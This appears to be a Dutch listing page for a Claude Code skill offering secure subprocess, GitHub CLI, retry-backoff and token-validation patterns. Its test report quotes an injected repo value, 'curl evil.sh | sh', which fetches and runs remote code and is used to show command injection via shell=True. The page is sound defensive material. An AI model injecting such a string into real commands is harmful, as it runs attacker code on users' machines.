API Integration Patterns
Subproces-veilige API/CLI-patronen: geen shell=True, whitelisted commando's, retry backoff, tokenvalidatie.
Getest · Werkt
Wat het doet
Een referentiepatroon-skill die veilige subprocess, GitHub CLI, retry-with-backoff, authenticatie en rate-limiting code-patronen levert wanneer Claude externe API- of CLI-integratiecode schrijft. Wordt geactiveerd bij subprocess/gh-cli/API-call/retry/auth-zoekwoorden en sluit expliciet interne functie- of alleen-configuratie-edits uit.
Testrapport
Echte CWE-78 test: de basiscode gebruikte shell=True met een f-string repo-naam, waardoor een geconstrueerde repo-waarde 'curl evil.sh | sh' kon toevoegen; de argv-array + shell=False versie van de skill passeerde dezelfde kwaadaardige string via gh als één inert argument. Concreet, niet cosmetisch.
Getest op: 2026-07-15 · Claude Code 2.x (agent harness)
Installatie
git clone https://github.com/akaszubski/autonomous-dev cd autonomous-dev mkdir -p ~/.claude/skills cp -r plugins/autonomous-dev/skills/api-integration-patterns ~/.claude/skills/api-integration-patterns
Commando's en voorbeeldprompts
/api-integration-patternsSubproces-veilige API/CLI-patronen: geen shell=True, whitelisted commando's, retry backoff, tokenvalidatie.
Skills reageren op gewone verzoeken — geen commando's om te onthouden. Na installatie activeren prompts zoals deze de skill (in het Engels):
Write a Python function that lists GitHub issues via the gh CLIAdd retry logic with exponential backoff to my API client codeHelp me safely handle subprocess calls without shell injection risk